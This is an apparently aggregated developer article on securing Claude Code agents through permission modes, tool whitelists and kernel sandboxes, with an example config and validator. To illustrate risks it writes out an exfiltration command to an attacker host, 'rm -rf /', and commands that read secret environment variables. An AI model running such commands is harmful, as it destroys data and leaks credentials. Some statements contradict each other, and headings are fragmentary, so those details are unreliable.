cd /news/ai-agents/claude-code-permission-modes-in-2026… · home topics ai-agents article
[ARTICLE · art-122989] src=dev.to ↗ pub= topic=ai-agents verified=true sentiment=· neutral

Claude Code Permission Modes in 2026: What `--allowedTools`, Whitelists, and Sandbox Boundaries Actually Restrict

A developer explains that Claude Code's permission modes and sandbox boundaries serve distinct security purposes, and misalignment between them can lead to production failures or credential leaks. The post details how `--allowedTools` whitelists prevent tool invocation but do not restrict what allowed tools can access, advocating for defense-in-depth with separate deny rules and sandbox restrictions.

read14 min views2 publishedSep 8, 2026

--allowedTools, Whitelists, and Sandbox Boundaries Actually Restrict This article was written with the assistance of AI, under human supervision and review.

Most Claude Code security failures stem from treating permission modes and sandbox boundaries as interchangeable concepts. Teams ship agents with Auto mode enabled, assuming the Bash sandbox prevents harm. The sandbox restricts file system access. Permission modes control whether Claude even attempts the action. When these two layers misalign, the agent either breaks production workflows or leaks credentials through unrestricted tool calls.

The confusion compounds when engineers discover --allowedTools and assume whitelisting individual capabilities (like edit_file or run_command) provides complete protection. It does not. The whitelist prevents Claude from invoking forbidden tools. It says nothing about what those allowed tools can reach once invoked. A configuration that permits run_command but forgets to restrict the Bash sandbox to a safe directory tree lets the agent execute rm -rf / without friction.

The correct architecture separates concerns. Permission modes (Auto, Prompt, Restricted, Custom) decide whether Claude asks before acting. Sandbox boundaries (bubblewrap on Linux, Seatbelt on macOS) define the outer limits of what Bash commands can touch. Defense-in-depth pairs permission deny rules with tight sandbox restrictions so even a prompt-approval mistake cannot escape isolation.

edit_file or run_command but does not restrict file paths or network access within allowed tools. Permission modes determine when Claude halts to request approval before invoking a tool. Auto grants every capability without asking. Prompt requires user confirmation for each tool call. Restricted denies all tools by default. Custom mode combines an allowedTools whitelist with explicit deny rules for fine-grained control.

Auto mode ships with zero friction. The agent edits files, runs shell commands, and installs packages without interruption. This speed comes at a cost. When Claude misinterprets a task and attempts git push --force to the wrong branch, Auto mode executes the command instantly. No confirmation dialog appears. The force-push overwrites production history before a human notices.

Prompt mode surfaces every tool invocation for approval. The agent stops to ask: "Run npm install?" This visibility catches errors early but slows iteration. Developers working in tight feedback loops approve dozens of prompts per session. Alert fatigue sets in. A malicious or confused request slips through because the approval reflex becomes automatic.

Restricted mode flips the default to deny. Claude cannot invoke any tool unless the team explicitly permits it. This mode suits production environments where the agent operates on a fixed set of well-tested tasks. A deployment pipeline that only needs run_command for Docker builds and read_file for config validation can deny every other capability. The agent cannot install packages, edit source files, or query external APIs.

Custom mode provides surgical control. Teams define an allowedTools array containing exactly the capabilities the agent requires. A data processing workflow might permit read_file, list_directory, and write_file while denying run_command and install_package. The configuration pairs the whitelist with explicit deny rules for high-risk tools. This matters because the whitelist operates as an allowlist. Omitting a tool from allowedTools prevents invocation but does not block future additions without review.

--allowedTools is a configuration flag that accepts an array of tool identifiers. Engineers use it to construct a minimal permission surface. The whitelist prevents Claude from invoking tools outside the approved set, but it does not constrain what those tools can access once invoked.

A configuration that includes edit_file in allowedTools grants the agent permission to modify any file the process user can write. The whitelist does not restrict paths. If the agent runs with root privileges and the sandbox is misconfigured, edit_file can overwrite /etc/passwd. The permission mode allowed the tool invocation. The sandbox failed to isolate file system access.

The distinction between tool invocation and resource access is critical. run_command appears in many whitelists because automated workflows need shell execution. A whitelist entry for run_command permits the agent to spawn any Bash command. It does not limit arguments or working directory. Without a sandbox boundary, the agent can execute curl https://attacker.com/exfiltrate -d @/etc/secrets.

Teams often pair --allowedTools with deny rules to create defense-in-depth. A configuration might whitelist read_file and list_directory while denying install_package and run_command. The deny rules act as a safety net. If a future code change accidentally adds a high-risk tool to the whitelist, the explicit deny rule blocks invocation until a maintainer reviews the change.

The implication here is that --allowedTools solves the invocation problem but not the access problem. A complete security posture requires both a whitelist and a sandbox.

Sandbox isolation operates one layer below permission modes. Once a tool invocation succeeds (either through Auto mode or after prompt approval), the sandbox determines what system resources that tool can touch. On Linux, Claude Code uses bubblewrap. On macOS, it uses Seatbelt profiles. Both technologies create a restricted execution environment that denies access to paths outside a defined boundary.

bubblewrap creates a new mount namespace. The agent's Bash commands see a minimal file system tree. A typical configuration mounts /workspace as read-write and /usr, /lib, /bin as read-only. Everything else remains invisible. When the agent executes cat /etc/secrets, the file does not exist in the sandboxed view. The kernel blocks the read before it reaches the real file system.

Seatbelt profiles on macOS work differently but achieve the same goal. The profile specifies allowed paths, forbidden paths, and default deny rules. A production profile might permit reads from /Users/agent/workspace and deny everything else. When the agent attempts open("/Users/admin/.ssh/id_rsa"), the Seatbelt kernel extension intercepts the system call and returns an error.

The boundary applies to all child processes. If the agent runs npm install, the package manager spawns dozens of subprocesses to fetch dependencies and execute lifecycle scripts. Every subprocess inherits the sandbox restrictions. A malicious post-install script cannot write to /usr/local/bin or read from /etc because the sandbox denies access at the kernel level.

Network access often escapes sandbox restrictions by default. bubblewrap can isolate the network namespace but many teams leave it open to allow dependency downloads and API calls. This creates an asymmetry. The agent cannot read /etc/secrets but can exfiltrate data through curl. A complete defense-in-depth configuration pairs file system isolation with network filtering or restricts run_command to prevent arbitrary outbound connections.

The failure mode here is subtle but expensive. Teams configure tight permission whitelists but forget to restrict the sandbox. The agent cannot invoke install_package but can still run curl through run_command. The sandbox allows network access. Credentials leak through a side channel the permission mode never controlled.

Defense-in-depth pairs multiple security layers so a single misconfiguration cannot compromise the system. In Claude Code, this means configuring both permission deny rules and sandbox boundaries to address different failure modes. Permission rules prevent Claude from attempting dangerous actions. Sandbox restrictions prevent allowed actions from reaching sensitive resources.

A production deployment workflow demonstrates the pattern. The agent needs to build Docker images and push them to a registry. The task requires run_command for Docker CLI invocations and read_file to validate build contexts. The team configures Custom mode with allowedTools: ["run_command", "read_file"] and explicit deny rules for edit_file, install_package, and delete_file.

The whitelist prevents accidental file modifications or package installations. The agent cannot corrupt the source tree or introduce dependencies without review. But run_command remains powerful. A confused prompt could lead Claude to execute docker run --privileged or rm -rf /workspace. The permission mode allowed the invocation. The sandbox must block the damage.

The sandbox configuration mounts /workspace read-only except for a single /workspace/build directory that receives build artifacts. The Docker socket is bind-mounted into the sandbox so the agent can invoke the Docker daemon. But the daemon itself runs outside the sandbox with its own restrictions. When the agent attempts docker run --privileged, the daemon refuses because its security profile denies privileged containers.

This layered approach catches mistakes at multiple checkpoints. If a maintainer accidentally adds edit_file to the whitelist, the agent can invoke the tool but the sandbox prevents writes outside /workspace/build. If the sandbox is misconfigured to allow writes everywhere, the permission deny rule for edit_file blocks the invocation unless explicitly approved through Prompt mode.

The pattern extends to credential isolation. Secrets live in a separate directory (like /etc/secrets or a mounted volume) that the sandbox denies entirely. Even if the agent gains read_file permission and a prompt approval, the sandbox returns an error when it attempts to open the file. The kernel enforces the boundary. No application-level logic can bypass it.

A production configuration file demonstrates how to combine Custom mode, a minimal allowedTools whitelist, and sandbox restrictions into a cohesive security posture. This example targets a CI pipeline agent that validates pull requests by running tests and linting checks.

// claude-code-config.ts
export const productionConfig = {
  permissionMode: "custom",
  allowedTools: [
    "run_command",      // Required for npm test, eslint
    "read_file",        // Required to read package.json, test configs
    "list_directory",   // Required to enumerate test files
  ],
  denyTools: [
    "edit_file",        // Tests should never modify source
    "delete_file",      // Prevent accidental cleanup of fixtures
    "install_package",  // Lock dependencies to package-lock.json
    "write_file",       // Block output file creation outside /tmp
  ],
  sandbox: {
    type: "bubblewrap",  // Linux container isolation
    allowedPaths: [
      { path: "/workspace", mode: "ro" },  // Source tree read-only
      { path: "/workspace/.cache", mode: "rw" },  // Test cache writable
      { path: "/tmp", mode: "rw" },  // Temporary files
    ],
    deniedPaths: [
      "/etc",            // No access to system configs
      "/root",           // No access to root home directory
      "/home/ci/.ssh",   // No access to SSH keys
    ],
    network: {
      allowedHosts: [
        "registry.npmjs.org",  // Dependency downloads
        "api.github.com",      // CI status updates
      ],
      denyByDefault: true,
    },
  },
  resourceLimits: {
    maxMemoryMB: 2048,
    maxCPUPercent: 80,
    timeoutSeconds: 300,
  },
};

This configuration starts with Custom mode and a three-tool whitelist. The agent can execute commands, read files, and list directories. It cannot edit source, delete files, install packages, or write output except to explicitly writable paths. The deny rules act as guardrails. If a future code change adds edit_file to the whitelist without review, the explicit deny rule blocks invocation.

The sandbox layer enforces file system boundaries. The workspace mounts read-only except for a cache directory that test frameworks need. The /tmp directory allows ephemeral writes for test artifacts. Everything else is invisible to the sandboxed process. When the agent runs npm test, the test runner can write coverage reports to /workspace/.cache but cannot modify source files in /workspace/src.

Network filtering prevents data exfiltration. The agent can reach npm's registry to validate dependency checksums and GitHub's API to post status checks. All other outbound connections fail. A compromised test script cannot curl an attacker-controlled server. The sandbox blocks the connection before it reaches the network.

Resource limits prevent denial-of-service. The agent cannot consume more than 2GB of memory or 80% of CPU time. A runaway test suite hits the memory limit and terminates with an error instead of crashing the CI server. The five-minute timeout prevents infinite loops from blocking the queue.

// Runtime validation before agent execution
function validateConfig(config) {
  const requiredTools = ["run_command", "read_file"];
  const forbiddenTools = ["edit_file", "delete_file"];

  requiredTools.forEach(tool => {
    if (!config.allowedTools.includes(tool)) {
      throw new Error(`Missing required tool: ${tool}`);
    }
  });

  forbiddenTools.forEach(tool => {
    if (config.allowedTools.includes(tool)) {
      throw new Error(`Forbidden tool in allowedTools: ${tool}`);
    }
  });

  // Verify sandbox denies sensitive paths
  const sensitivePaths = ["/etc", "/root", "/home/ci/.ssh"];
  sensitivePaths.forEach(path => {
    if (!config.sandbox.deniedPaths.includes(path)) {
      throw new Error(`Sensitive path not denied: ${path}`);
    }
  });

  return true;
}

This validation function runs before launching the agent. It enforces invariants: required tools must appear in the whitelist, forbidden tools must not, and sensitive paths must appear in the sandbox deny list. The check catches configuration drift. If a maintainer removes /etc from deniedPaths during refactoring, the validation fails at startup instead of leaking credentials at runtime.

The most frequent misconfiguration occurs when teams set restrictive permission modes but forget to configure the sandbox. Auto mode with an empty allowedTools whitelist and no sandbox restrictions provides zero isolation. The agent can invoke any tool and reach any resource the process user can access.

A team ships a code review agent in Prompt mode, assuming manual approval provides sufficient control. The agent asks to run npm audit fix, and a developer approves. The command succeeds because run_command is permitted. But the sandbox is misconfigured. The /node_modules directory mounts read-write, and the process user has root privileges. npm audit fix installs a malicious package that writes a backdoor to /usr/local/bin. The prompt approval allowed the command. The sandbox failed to isolate the installation target.

The inverse misconfiguration is less common but equally dangerous. A team configures a tight sandbox but sets permission mode to Auto. The agent cannot write outside /workspace/build, but it can invoke any tool without asking. Claude misinterprets a request and runs git push --force to the wrong branch. The sandbox did not prevent the push because Git operates over the network, which the sandbox allows by default. The permission mode should have required prompt approval for destructive commands.

Network access often escapes sandbox restrictions by default. Teams assume bubblewrap isolation prevents data exfiltration but forget to check the network policy. The agent cannot read /etc/secrets because the path is outside the sandbox boundary. But it can run curl through run_command and post the contents of allowed files to an external server. The file system sandbox worked as intended. The network policy was never configured.

Credential leaks through environment variables bypass both layers. The sandbox restricts file paths and network endpoints. Permission modes control tool invocations. But environment variables like AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN live in the process environment. The agent can read them through run_command by executing printenv or echo $AWS_SECRET_ACCESS_KEY. A complete configuration either scrubs sensitive variables before launching the agent or uses a secrets manager that requires explicit authentication.

The failure mode here is subtle but expensive. A configuration that looks secure on paper (Custom mode, minimal whitelist, sandbox enabled) leaks credentials through a channel the team never considered. Comprehensive testing must verify that the agent cannot access sensitive resources through any available tool, not just the obvious ones like read_file.

allowedTools includes The agent can execute any Bash command with the permissions of the process user. If the process runs as root or has access to sensitive paths, run_command can read credentials, modify system files, or install backdoors. The permission whitelist allows the tool invocation, but without sandbox isolation, no boundary prevents the command from reaching dangerous resources.

Yes, but the configuration must explicitly deny network access. bubberwrap on Linux can isolate the network namespace to prevent all outbound connections. Seatbelt on macOS can deny socket creation. Many teams leave network access open by default to allow dependency downloads and API calls, which creates an exfiltration channel if run_command or install_package are permitted.

An empty allowedTools array prevents Claude from invoking any tool, which blocks most attacks. But it does not address side channels like environment variable access or command injection through prompt engineering. A comprehensive security posture pairs an empty whitelist with sandbox restrictions, environment variable scrubbing, and prompt validation to prevent indirect access to sensitive resources.

Run a test agent that attempts to access forbidden resources and confirm it fails. Try reading /etc/passwd, writing to /usr/local/bin, and connecting to arbitrary network endpoints. The sandbox should block all attempts and return errors. Automated tests should validate these invariants on every configuration change to catch drift before production deployment.

denyTools and omitting it from Omitting a tool from allowedTools prevents invocation by default in Custom mode. Adding it to denyTools creates an explicit deny rule that blocks the tool even if a future code change adds it to the whitelist. The explicit deny rule acts as defense-in-depth against accidental permission escalation during refactoring or configuration merges.

Permission modes and sandbox boundaries solve different problems. Permission modes control whether Claude attempts an action. Sandbox boundaries limit what that action can reach. A complete security posture requires both layers. Custom mode with a minimal allowedTools whitelist prevents unnecessary tool invocations. Tight sandbox restrictions isolate allowed tools from sensitive resources. Defense-in-depth pairs explicit deny rules with kernel-enforced boundaries so a single misconfiguration cannot compromise the system.

Teams shipping Claude Code agents in production must test both layers independently and together. Verify that forbidden tools cannot be invoked even through prompt engineering. Confirm that allowed tools cannot access sensitive paths even with root privileges. Validate that network policies prevent data exfiltration through side channels. The configuration file documents intent. Runtime validation and automated testing prove it works.

That covers the essential patterns for securing Claude Code agents with permission modes and sandbox isolation. Apply these in production and the difference between a leaked credential and a contained failure will be immediate. For cost control strategies that complement these security patterns, see Claude Code Cost Control in Production. To understand how checkpoints interact with permission boundaries, read Claude Code Checkpoints: Restore Agent State. For CI integration patterns that respect these restrictions, check Claude Code CI: Agentic Review, Test, and Auto-Fix.

── more in #ai-agents 4 stories · sorted by recency
── more on @claude code 3 stories trending now
sponsored brought to you by zahid.host 4,200+ EU-deployed projects
reading about agents? ship yours in a single git push.

Run your AI side-project on zahid.host

EU-based hosting, git-push deploys, automatic HTTPS, no cold starts. Free tier with a custom domain — perfect for shipping the agent you just read about.

$git push zahid main
Live at https://your-agent.zahid.host
Get free account → Pricing
from €0/mo · no card required
LIVE [news/claude-code-permissi…] indexed:0 read:14min 2026-09-08 ·